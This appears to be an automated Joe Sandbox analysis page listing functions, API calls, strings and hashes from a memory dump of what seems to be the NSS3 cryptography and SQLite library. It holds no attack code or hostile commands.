Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: ed4d3d6fb73db0dcae9b111ae855ec1fa554ac26200326e74e08ef37f6d641f4
Instruction ID: 00e19cc3f92a4bafdcdc14e6d8c3bb98ebc0d3244b884e22ae99e8bfe21b6752
Opcode Fuzzy Hash: ed4d3d6fb73db0dcae9b111ae855ec1fa554ac26200326e74e08ef37f6d641f4
Instruction Fuzzy Hash: 35B16C70E4574BCFCB08CF68D2849A9B7F0FB5E304B058159D519AB362E730AA85CFA5

Function 6C924F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C924FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C9251BB

Strings

%s at line %d of [%.10s], xrefs: 6C9251B4
misuse, xrefs: 6C9251AF
unable to delete/modify user-function due to active statements, xrefs: 6C9251DF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C9251A5

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: a981a3ae7cdad3eef21d27c8f94396d11eec326a4a291ba6f1ceb6817396c82d
Instruction ID: 6fbe6c707998e52b18441d866e401afa7699274182017ab5e2b7adc6ee25bbef
Opcode Fuzzy Hash: a981a3ae7cdad3eef21d27c8f94396d11eec326a4a291ba6f1ceb6817396c82d
Instruction Fuzzy Hash: 6A7190B162420ADFDB00CE15CD80B9AB7B9BF48308F054524FD599BA8DD739ED54CBA1

Function 6C992D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C992D69

Strings

winUnmapfile2, xrefs: 6C992F7F
winTruncate2, xrefs: 6C992EF8
winSeekFile, xrefs: 6C992E9C
winTruncate1, xrefs: 6C992EBE
winUnmapfile1, xrefs: 6C992F55

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: ba48f6905d9e2b53207a22dff9e6900d9fe27ac2e877e71ddd94f767cfdc114b
Instruction ID: 46d0f03cae25c4ac6c57010cd9a4e0b3990164dca73923e5be69bf21d7406c3c
Opcode Fuzzy Hash: ba48f6905d9e2b53207a22dff9e6900d9fe27ac2e877e71ddd94f767cfdc114b
Instruction Fuzzy Hash: CC61BD71B007059FDB04CF68D894BAA77B5FB49314F14822CE91AAB790EB31ED46CB91

Function 6CA129E0 Relevance: 10.7, APIs: 7, Instructions: 181COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,00000000,00000000,?,?,6CA121DD,00000000), ref: 6CA12A47
SEC_ASN1EncodeInteger_Util.NSS3(?,6CA121DD,00000002,00000000,00000000,?,?,6CA121DD,00000000), ref: 6CA12A60
SECOID_FindOIDByTag_Util.NSS3(00000000,?,?,?,?,00000000,00000000,?,?,6CA121DD,00000000), ref: 6CA12A8E
PK11_KeyGen.NSS3(00000000,?,00000000,83F089CA,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA12AE9
PORT_ArenaMark_Util.NSS3(00000000), ref: 6CA12B0D
PK11_FreeSymKey.NSS3(?), ref: 6CA12B7B
PK11_FreeSymKey.NSS3(?), ref: 6CA12BD6

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: K11_Util$Free$ArenaEncodeErrorFindInteger_Mark_Tag_
String ID:
API String ID: 1625981074-0
Opcode ID: d9b3ab33f4c9c646ae6946c87de0120390d39630a93e86df2434349ec81f0571
Instruction ID: b3a17c2a9392b362f2f47b6254434720673750409c548be275e3ba72f2f993da
Opcode Fuzzy Hash: d9b3ab33f4c9c646ae6946c87de0120390d39630a93e86df2434349ec81f0571
Instruction Fuzzy Hash: C1516BB1E082059BEB00CF65DC84BAB77B4AF1532CF190224ED1957F81E731E989CB91

Function 6CA0FF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6CA0F165,?), ref: 6CA0FF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6CA0F165,?), ref: 6CA0FF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CA0F165,?), ref: 6CA0FF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CA0F165,?), ref: 6CA0FF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6CA0F165,?), ref: 6CA0FFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6CA0F165,6CAD219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA0FFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6CA0F165,?), ref: 6CA100A6

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: aae9934b97ad99298c883e02eb69983ed59c5b3791da1f7d523416a7d7d5e0d2
Instruction ID: 5e20fd0452b44b1a9dfce3516d3fa878f17f3e9da5d488e35fcbde2a8fb131b1
Opcode Fuzzy Hash: aae9934b97ad99298c883e02eb69983ed59c5b3791da1f7d523416a7d7d5e0d2
Instruction Fuzzy Hash: 37512471E082559FDB108F59C8807AEB7B5FF49358F294229ED59A7B40D331ACA4CBD0

Function 6C9CDEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9CDF37
EnterCriticalSection.KERNEL32(?), ref: 6C9CDF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9CDF96
PR_SetError.NSS3(00000000,00000000), ref: 6C9CE02B
PR_Unlock.NSS3(?), ref: 6C9CE07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C9CE090
PR_Unlock.NSS3(?), ref: 6C9CE0AF

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 24ee87e47b6e7390ec5811c063a1e867e38178bf40a0c6bc89e6456d202f96c9
Instruction ID: 1b53a52ebed829b42b9bc67aba8ddb24c47a8bb40c5a4688420fb56cd2f713ee
Opcode Fuzzy Hash: 24ee87e47b6e7390ec5811c063a1e867e38178bf40a0c6bc89e6456d202f96c9
Instruction Fuzzy Hash: CF51CD35B44600CFEB20DE28D846B6673B9FF55318F204928E85A47B91D771E998CBD3

Function 6C9B6980 Relevance: 10.6, APIs: 7, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 6C9B5DB0: NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B5DEC
Part of subcall function 6C9B5DB0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C9B5E0F

SECITEM_DupItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B69BA

Part of subcall function 6C9FFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C9A9003,?), ref: 6C9FFD91
Part of subcall function 6C9FFD80: PORT_Alloc_Util.NSS3(A4686CA0,?), ref: 6C9FFDA2
Part of subcall function 6C9FFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CA0,?,?), ref: 6C9FFDC4

VFY_EndWithSignature.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C9B6A59
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B6AB7
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B6ACA
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B6AE0
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B6AE9

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Alloc_Item_free$AlgorithmDestroyErrorPolicyPublicSignatureWithZfreememcpy
String ID:
API String ID: 2730469119-0
Opcode ID: cbb0e834dbc0574cfe29a87b4c13aa8b56d84fb0746140c2c5b8e4a5c3027664
Instruction ID: 88e1ef731db6343d118e1cf6a72394024b43a1b38bf050e362d1f6a1e11e3968
Opcode Fuzzy Hash: cbb0e834dbc0574cfe29a87b4c13aa8b56d84fb0746140c2c5b8e4a5c3027664
Instruction Fuzzy Hash: 3B41B071640604ABEB149F28EC45B9777EDBF54314F188428E86AE7640EF31F811CBA1

Function 6C9EAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C9EAB3E,?,?,?), ref: 6C9EAC35

Part of subcall function 6C9CCEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C9CCF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C9EAB3E,?,?,?), ref: 6C9EAC55

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C9EAB3E,?,?), ref: 6C9EAC70

Part of subcall function 6C9CE300: TlsGetValue.KERNEL32 ref: 6C9CE33C
Part of subcall function 6C9CE300: EnterCriticalSection.KERNEL32(?), ref: 6C9CE350
Part of subcall function 6C9CE300: PR_Unlock.NSS3(?), ref: 6C9CE5BC
Part of subcall function 6C9CE300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C9CE5CA
Part of subcall function 6C9CE300: TlsGetValue.KERNEL32 ref: 6C9CE5F2
Part of subcall function 6C9CE300: EnterCriticalSection.KERNEL32(?), ref: 6C9CE606
Part of subcall function 6C9CE300: PORT_Alloc_Util.NSS3(?), ref: 6C9CE613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C9EAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9EAB3E), ref: 6C9EACD7
PORT_Alloc_Util.NSS3(?), ref: 6C9EAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C9EAD2B

Part of subcall function 6C9CF360: TlsGetValue.KERNEL32(00000000,?,6C9EA904,?), ref: 6C9CF38B
Part of subcall function 6C9CF360: EnterCriticalSection.KERNEL32(?,?,?,6C9EA904,?), ref: 6C9CF3A0
Part of subcall function 6C9CF360: PR_Unlock.NSS3(?,?,?,?,6C9EA904,?), ref: 6C9CF3D3

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: c2c3ccbdac2dd40ebf77d1bd8d56dda8e5ceee9add1cb4dbb80f53e059e68421
Instruction ID: 209fb59a672cb9cfcaf6ca351fd935de0d19ff3d13dd6997bce978865151a644
Opcode Fuzzy Hash: c2c3ccbdac2dd40ebf77d1bd8d56dda8e5ceee9add1cb4dbb80f53e059e68421
Instruction Fuzzy Hash: 313129B1E006065FEB018F259C409AF7BBAEFA831CB198128E81557B50EF31DC45C7A1

Function 6C9C8C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C9C8C7C

Part of subcall function 6CA69DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CAB0A27), ref: 6CA69DC6
Part of subcall function 6CA69DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CAB0A27), ref: 6CA69DD1
Part of subcall function 6CA69DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA69DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9C8CB0
TlsGetValue.KERNEL32 ref: 6C9C8CD1
EnterCriticalSection.KERNEL32(?), ref: 6C9C8CE5
PR_Unlock.NSS3(?), ref: 6C9C8D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C9C8D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9C8D93

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 78341b683d4cc1567c436406deb8f8949b899fb72b485800d23b7dcc57e45695
Instruction ID: c01d7f4d633e85355fbf2bbfbe1343a8396974e3c7ade20fb1c65c95856770b8
Opcode Fuzzy Hash: 78341b683d4cc1567c436406deb8f8949b899fb72b485800d23b7dcc57e45695
Instruction Fuzzy Hash: 58312671B01201AFE708AF68DC4479AB7B8BF15318F14013AEA1967B50D770E968CBD7

Function 6CA09D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CA09C5B), ref: 6CA09D82

Part of subcall function 6CA014C0: TlsGetValue.KERNEL32 ref: 6CA014E0
Part of subcall function 6CA014C0: EnterCriticalSection.KERNEL32 ref: 6CA014F5
Part of subcall function 6CA014C0: PR_Unlock.NSS3 ref: 6CA0150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CA09C5B), ref: 6CA09DA9

Part of subcall function 6CA01340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C9A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C99F599,?,00000000), ref: 6CA0136A
Part of subcall function 6CA01340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C9A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C99F599,?,00000000), ref: 6CA0137E
Part of subcall function 6CA01340: PL_ArenaGrow.NSS3(?,6C99F599,?,00000000,?,6C9A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C99F599,?), ref: 6CA013CF
Part of subcall function 6CA01340: PR_Unlock.NSS3(?,?,6C9A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C99F599,?,00000000), ref: 6CA0145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CA09C5B), ref: 6CA09DCE

Part of subcall function 6CA01340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C9A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C99F599,?,00000000), ref: 6CA013F0
Part of subcall function 6CA01340: PL_ArenaGrow.NSS3(?,6C99F599,?,?,?,00000000,00000000,?,6C9A895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6CA01445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CA09C5B), ref: 6CA09DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6CA09C5B), ref: 6CA09DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CA09C5B), ref: 6CA09E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6CA09C5B), ref: 6CA09E91

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

Part of subcall function 6CA01560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6C9FFAAB,00000000), ref: 6CA0157E
Part of subcall function 6CA01560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C9FFAAB,00000000), ref: 6CA01592
Part of subcall function 6CA01560: memset.VCRUNTIME140(?,00000000,?), ref: 6CA01600
Part of subcall function 6CA01560: PL_ArenaRelease.NSS3(?,?), ref: 6CA01620
Part of subcall function 6CA01560: PR_Unlock.NSS3(?), ref: 6CA01639

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 2cd142189434f60260ff910a885f09910c27c91cd9fbd2cb1da603569ce96904
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 044174B4601606AFE7409F25E940BA277A1FF4538CF548128D9184BF90E772E878CB90

Function 6C9CDDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C9CDDEC

Part of subcall function 6CA00840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA008B4

PK11_DigestBegin.NSS3(00000000), ref: 6C9CDE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C9CDE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6C9CDE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C9CDEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C9CDEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9CDECC

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 2d190d1fefb482e8b62eda1e90ceeaf27300c2fe182141ace8a68d252c3815c9
Instruction ID: 834b86e3128df91b27f6680ca65d77e58b3a05fd936eecaa1a649b803ed599ec
Opcode Fuzzy Hash: 2d190d1fefb482e8b62eda1e90ceeaf27300c2fe182141ace8a68d252c3815c9
Instruction Fuzzy Hash: C631B5B3A402146BEB00AE69AD41BBB76A8AF64708F050165ED09A7741FB31D918C6E3

Function 6C9A7E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C9A7E48

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C9A7E5B

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C9A7E7B

